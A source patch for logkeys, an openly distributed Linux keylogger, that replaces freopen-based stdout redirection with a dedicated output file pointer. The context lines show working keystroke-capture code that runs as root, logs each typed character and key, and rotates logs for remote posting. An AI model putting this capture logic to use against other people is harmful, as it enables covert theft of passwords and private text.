1 diff -urN logkeys-0.1.1a.org/src/logkeys.cc logkeys-0.1.1a/src/logkeys.cc
2 --- logkeys-0.1.1a.org/src/logkeys.cc 2010-05-31 07:04:57.000000000 +0200
3 +++ logkeys-0.1.1a/src/logkeys.cc 2012-01-04 13:18:49.000000000 +0100
5 memset(shift_keys, '\0', sizeof(shift_keys));
6 memset(altgr_keys, '\0', sizeof(altgr_keys));
8 - stdin = freopen(args.keymap, "r", stdin);
10 + if (freopen(args.keymap, "r", stdin) == NULL)
11 error(EXIT_FAILURE, errno, "Error opening input keymap '%s'", args.keymap);
17 int main(int argc, char **argv)
22 on_exit(exit_cleanup, NULL);
24 if (geteuid()) error(EXIT_FAILURE, errno, "Got r00t?");
29 - // open log file as stdout (if file doesn't exist, create it with safe 0600 permissions)
30 + // open log file (if file doesn't exist, create it with safe 0600 permissions)
32 - stdout = freopen(args.logfile, "a", stdout);
34 + ofp = fopen(args.logfile, "a");
36 error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile);
38 // now we need those privileges back in order to create system-wide PID_FILE
40 strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));
42 if (args.flags & FLAG_NO_TIMESTAMPS)
43 - file_size += fprintf(stdout, "Logging started at %s\n\n", timestamp);
44 + file_size += fprintf(ofp, "Logging started at %s\n\n", timestamp);
46 - file_size += fprintf(stdout, "Logging started ...\n\n%s", timestamp);
48 + file_size += fprintf(ofp, "Logging started ...\n\n%s", timestamp);
51 // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd)
52 while (read(input_fd, &event, sizeof(struct input_event)) > 0) {
54 scan_code = event.code;
56 if (scan_code >= sizeof(char_or_func)) { // keycode out of range, log error
57 - inc_size += fprintf(stdout, "<E-%x>", scan_code);
58 + inc_size += fprintf(ofp, "<E-%x>", scan_code);
59 if (inc_size > 0) file_size += inc_size;
63 // if remote posting is enabled and size treshold is reached
64 if (args.post_size != 0 && file_size >= args.post_size && stat(UPLOADER_PID_FILE, &st) == -1) {
69 for (int i = 1;; ++i) {
71 if (rename(args.logfile, ss.str().c_str()) == -1) // move current log file to indexed
72 error(EXIT_FAILURE, errno, "Error renaming logfile");
74 - stdout = fopen(args.logfile, "a"); // open empty log file with the same name
76 + ofp = fopen(args.logfile, "a"); // open empty log file with the same name
78 error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile);
80 file_size = 0; // new log file is now empty
82 prev_code == KEY_LEFTSHIFT || prev_code == KEY_RIGHTCTRL); // if repeated key is modifier, do nothing
84 if ((args.flags & FLAG_NO_FUNC_KEYS) && is_func_key(prev_code)); // if repeated was function key, and if we don't log function keys, then don't log repeat either
85 - else inc_size += fprintf(stdout, "<#+%d>", count_repeats);
86 + else inc_size += fprintf(ofp, "<#+%d>", count_repeats);
88 count_repeats = 0; // reset count for future use
91 if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER ||
92 (ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) {
94 - inc_size += fprintf(stdout, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D
95 + inc_size += fprintf(ofp, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D
96 if (args.flags & FLAG_NO_TIMESTAMPS)
97 - inc_size += fprintf(stdout, "\n");
98 + inc_size += fprintf(ofp, "\n");
100 strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&event.time.tv_sec));
101 - inc_size += fprintf(stdout, "%s", timestamp); // then newline and timestamp
102 + inc_size += fprintf(ofp, "%s", timestamp); // then newline and timestamp
104 if (inc_size > 0) file_size += inc_size;
105 continue; // but don't log "<Enter>"
106 @@ -571,17 +572,17 @@
107 else // neither altgr nor shift are effective, this is a normal char
108 wch = char_keys[to_char_keys_index(scan_code)];
110 - if (wch != L'\0') inc_size += fprintf(stdout, "%lc", wch); // write character to log file
111 + if (wch != L'\0') inc_size += fprintf(ofp, "%lc", wch); // write character to log file
113 else if (is_func_key(scan_code)) {
114 if (!(args.flags & FLAG_NO_FUNC_KEYS)) { // only log function keys if --no-func-keys not requested
115 - inc_size += fprintf(stdout, "%ls", func_keys[to_func_keys_index(scan_code)]);
116 + inc_size += fprintf(ofp, "%ls", func_keys[to_func_keys_index(scan_code)]);
118 else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) {
119 - inc_size += fprintf(stdout, " "); // but always log a single space for Space and Tab keys
120 + inc_size += fprintf(ofp, " "); // but always log a single space for Space and Tab keys
123 - else inc_size += fprintf(stdout, "<E-%x>", scan_code); // keycode is neither of character nor function, log error
124 + else inc_size += fprintf(ofp, "<E-%x>", scan_code); // keycode is neither of character nor function, log error
131 prev_code = scan_code;
134 if (inc_size > 0) file_size += inc_size;
136 } // while (read(input_fd))
138 // append final timestamp, close files and exit
140 strftime(timestamp, sizeof(timestamp), "%F %T%z", localtime(&cur_time));
141 - fprintf(stdout, "\n\nLogging stopped at %s\n\n", timestamp);
142 + fprintf(ofp, "\n\nLogging stopped at %s\n\n", timestamp);